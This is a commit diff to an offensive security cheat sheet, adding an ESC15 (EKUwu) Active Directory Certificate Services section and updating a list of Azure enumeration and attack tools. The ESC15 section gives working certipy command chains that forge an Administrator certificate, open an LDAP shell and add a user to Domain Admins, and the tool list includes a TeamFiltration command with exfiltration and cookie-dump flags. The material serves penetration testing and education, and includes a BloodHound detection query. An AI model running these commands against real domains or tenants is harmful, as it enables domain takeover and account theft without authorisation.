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ESC15 + Azure Enumeration Tools

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Swissky 2024-10-21 22:41:13 +02:00
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49
docs/active-directory/ad-adcs-certificate-services.md
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@ -423,6 +423,50 @@ Members : {}
``` ```
## ESC15 - EKUwu Application Policies
**Requirements**
* **Template Schema Version 1**
* **ENROLLEE_SUPPLIES_SUBJECT** = True
**Exploitation**:
Detect the vulnerability from BloodHound data using the following cypher query.
```ps1
MATCH p=(:Base)-[:MemberOf*0..]->()-[:Enroll|AllExtendedRights]->(ct:CertTemplate)-[:PublishedTo]->(:EnterpriseCA)-[:TrustedForNTAuth]->(:NTAuthStore)-[:NTAuthStoreFor]->(:Domain) WHERE ct.enrolleesuppliessubject = True AND ct.authenticationenabled = False AND ct.requiresmanagerapproval = False AND ct.schemaversion = 1 RETURN p
```
The **Application Policies** extension is a proprietary certificate extension with the OID `1.3.6.1.4.1.311`, same as **x509 EKUs**. It was designed to allow users to specify additional use cases for certificates by utilizing the same OIDs as those in the Enhanced Key Usage extension.
If there is a conflict between an Application Policy and an EKU, then Microsoft prefers the proprietary Application Policy.
> "Application policy is Microsoft specific and is treated much like Extended Key Usage. If a certificate has an extension containing an application policy and also has an EKU extension, the EKU extension is ignored." - Microsoft
When a user requests a certificate based on a schema version 1 template and includes an application policy, the policy is incorporated into the certificate. This allows users to specify arbitrary EKUs, bypassing the requirements for ESC2.
**ESC1** - The WebServer template is enabled by default in ADCS, requires a user-supplied SAN and only has the `Server Authentication` EKU. Using [ly4k/Certipy PR #228](https://github.com/ly4k/Certipy/pull/228), we can add the `Client Authentication` EKU to `WebServer`. Anybody with the `Enroll` permission on this template can now compromise the domain.
```ps1
certipy req -dc-ip 10.10.10.10 -ca CA -target-ip 10.10.10.11 -u user@domain.com -p 'P@ssw0rd' -template WebServer -upn Administrator@domain.com --application-policies 'Client Authentication'
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 -ldap-shell
# in LDAP shell
add_user pentest_user
add_user_to_group pentest_user "Domain Admins"
```
**ESC2/ESC3** - **Certificate Request Agent** (`1.3.6.1.4.1.311.20.2.1`),
```ps1
certipy -req -u user@domain.com -p 'P@ssw0rd' --application-policies "1.3.6.1.4.1.311.20.2.1" -ca "Lab Root CA" -template WebServer -dc-ip 10.10.10.10 -target-ip 10.10.10.11
certipy -req -u user@domain.com -p 'P@ssw0rd' -on-behalf-of DOMAIN\\Administrator -Template User -ca "Lab Root CA" -pfx user.pfx -dc-ip 10.10.10.10 -target-ip 10.10.10.11
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
```
## Certifried CVE-2022-26923 ## Certifried CVE-2022-26923
> An authenticated user could manipulate attributes on computer accounts they own or manage, and acquire a certificate from Active Directory Certificate Services that would allow elevation of privilege. > An authenticated user could manipulate attributes on computer accounts they own or manage, and acquire a certificate from Active Directory Certificate Services that would allow elevation of privilege.
@ -542,4 +586,7 @@ Using the **UnPAC The Hash** method, you can retrieve the NT Hash for an User vi
* [ADCS ESC14 Abuse Technique - Jonas Bülow Knudsen - 02/01/2024](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9) * [ADCS ESC14 Abuse Technique - Jonas Bülow Knudsen - 02/01/2024](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9)
* [ADCS Attack Paths in BloodHound — Part 2 - Jonas Bülow Knudsen - May 1, 2024](https://posts.specterops.io/adcs-attack-paths-in-bloodhound-part-2-ac7f925d1547) * [ADCS Attack Paths in BloodHound — Part 2 - Jonas Bülow Knudsen - May 1, 2024](https://posts.specterops.io/adcs-attack-paths-in-bloodhound-part-2-ac7f925d1547)
* [ESC12 – Shell access to ADCS CA with YubiHSM - hajo - October 2023](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm) * [ESC12 – Shell access to ADCS CA with YubiHSM - hajo - October 2023](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm)
* [AD CS Domain Escalation - HackTricks](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation#shell-access-to-adcs-ca-with-yubihsm-esc12) * [AD CS Domain Escalation - HackTricks](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation#shell-access-to-adcs-ca-with-yubihsm-esc12)
* [ESC15/EKUwu PR #228 - dru1d-foofus - 10/08/2024](https://github.com/ly4k/Certipy/pull/228)
* [EKUwu: Not just another AD CS ESC - Justin Bollinger - October 08, 2024](https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc)
* [ADCS Exploitation Part 2: Certificate Mapping + ESC15 - Giulio Pierantoni - Oct 10, 2024](https://medium.com/@offsecdeer/adcs-exploitation-series-part-2-certificate-mapping-esc15-6e19a6037760)

14
docs/cloud/azure/azure-enumeration.md
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@ -3,7 +3,7 @@
## Azure AD - Collectors ## Azure AD - Collectors
* [**Microsoft Portals**](https://msportals.io/) - Microsoft Administrator Sites * [**Microsoft Portals**](https://msportals.io/) - Microsoft Administrator Sites
* [**ROADTool**](https://github.com/dirkjanm/ROADtools) - A collection of Azure AD tools for offensive and defensive security purposes * [**dirkjanm/ROADTool**](https://github.com/dirkjanm/ROADtools) - A collection of Azure AD tools for offensive and defensive security purposes
```ps1 ```ps1
roadrecon auth --access-token eyJ0eXA... roadrecon auth --access-token eyJ0eXA...
roadrecon auth --prt-cookie <primary-refresh-token> -r msgraph -c "1950a258-227b-4e31-a9cf-717495945fc2" roadrecon auth --prt-cookie <primary-refresh-token> -r msgraph -c "1950a258-227b-4e31-a9cf-717495945fc2"
@ -52,6 +52,12 @@
Get-Help Invoke-Monkey365 -Examples Get-Help Invoke-Monkey365 -Examples
Get-Help Invoke-Monkey365 -Detailed Get-Help Invoke-Monkey365 -Detailed
``` ```
* [**prowler-cloud/prowler**](https://github.com/prowler-cloud/prowler) - Prowler is an Open Source Security tool for AWS, Azure, GCP and Kubernetes to do security assessments, audits, incident response, compliance, continuous monitoring, hardening and forensics readiness. Includes CIS, NIST 800, NIST CSF, CISA, FedRAMP, PCI-DSS, GDPR, HIPAA, FFIEC, SOC2, GXP, Well-Architected Security, ENS and more
* [**projectdiscovery/nuclei-templates**](https://github.com/projectdiscovery/nuclei-templates/tree/main/cloud/azure) - Community curated list of templates for the nuclei engine to find security vulnerabilities.
```ps1
nuclei -t ~/nuclei-templates/cloud/azure/ -code -v
```
* [**nccgroup/ScoutSuite**](https://github.com/nccgroup/ScoutSuite) - Multi-Cloud Security Auditing Tool
* [**Flangvik/TeamFiltration**](https://github.com/Flangvik/TeamFiltration) - TeamFiltration is a cross-platform framework for enumerating, spraying, exfiltrating, and backdooring O365 AAD accounts * [**Flangvik/TeamFiltration**](https://github.com/Flangvik/TeamFiltration) - TeamFiltration is a cross-platform framework for enumerating, spraying, exfiltrating, and backdooring O365 AAD accounts
```ps1 ```ps1
TeamFiltration.exe --outpath C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --exfil --cookie-dump C:\\CookieData.txt --all TeamFiltration.exe --outpath C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --exfil --cookie-dump C:\\CookieData.txt --all
@ -66,10 +72,9 @@
``` ```
* [**Azure/StormSpotter**](https://github.com/Azure/Stormspotter) - :warning: This repository has not been updated recently - Azure Red Team tool for graphing Azure and Azure Active Directory objects * [**Azure/StormSpotter**](https://github.com/Azure/Stormspotter) - :warning: This repository has not been updated recently - Azure Red Team tool for graphing Azure and Azure Active Directory objects
* [**nccgroup/Azucar**](https://github.com/nccgroup/azucar.git) - :warning: This repository has been archived - Azucar automatically gathers a variety of configuration data and analyses all data relating to a particular subscription in order to determine security risks. * [**nccgroup/Azucar**](https://github.com/nccgroup/azucar.git) - :warning: This repository has been archived - Azucar automatically gathers a variety of configuration data and analyses all data relating to a particular subscription in order to determine security risks.
* [**FSecureLABS/Azurite Explorer**](https://github.com/FSecureLABS/Azurite) - :warning: This repository has not been updated recently - Enumeration and reconnaissance activities in the Microsoft Azure Cloud. * [**FSecureLABS/Azurite**](https://github.com/FSecureLABS/Azurite) - :warning: This repository has not been updated recently - Enumeration and reconnaissance activities in the Microsoft Azure Cloud.
* [**cyberark/SkyArk**](https://github.com/cyberark/SkyArk) - :warning: This repository has not been updated recently - Discover the most privileged users in the scanned Azure environment - including the Azure Shadow Admins. * [**cyberark/SkyArk**](https://github.com/cyberark/SkyArk) - :warning: This repository has not been updated recently - Discover the most privileged users in the scanned Azure environment - including the Azure Shadow Admins.
## Azure AD - User Enumeration ## Azure AD - User Enumeration
### Enumerate Tenant Informations ### Enumerate Tenant Informations
@ -222,4 +227,5 @@ Invoke-MFASweep -Username targetuser@targetdomain.com -Password Winter2020 -Reco
* [Bypassing conditional access by faking device compliance - @DrAzureAD - September 06, 2020](https://o365blog.com/post/mdm/) * [Bypassing conditional access by faking device compliance - @DrAzureAD - September 06, 2020](https://o365blog.com/post/mdm/)
* [CARTP-cheatsheet - Azure AD cheatsheet for the CARTP course](https://github.com/0xJs/CARTP-cheatsheet/blob/main/Authenticated-enumeration.md) * [CARTP-cheatsheet - Azure AD cheatsheet for the CARTP course](https://github.com/0xJs/CARTP-cheatsheet/blob/main/Authenticated-enumeration.md)
* [Attacking Azure/Azure AD and introducing Powerzure - SpecterOps - Ryan Hausknecht - Jan 28, 2020](https://posts.specterops.io/attacking-azure-azure-ad-and-introducing-powerzure-ca70b330511a) * [Attacking Azure/Azure AD and introducing Powerzure - SpecterOps - Ryan Hausknecht - Jan 28, 2020](https://posts.specterops.io/attacking-azure-azure-ad-and-introducing-powerzure-ca70b330511a)
* [Training - Attacking and Defending Azure Lab - Altered Security](https://www.alteredsecurity.com/azureadlab) * [Training - Attacking and Defending Azure Lab - Altered Security](https://www.alteredsecurity.com/azureadlab)
* [Azure Config Review - Nuclei Templates v10.0.0 - Prince Chaddha - Sep 12, 2024](https://blog.projectdiscovery.io/azure-config-review-with-nuclei/)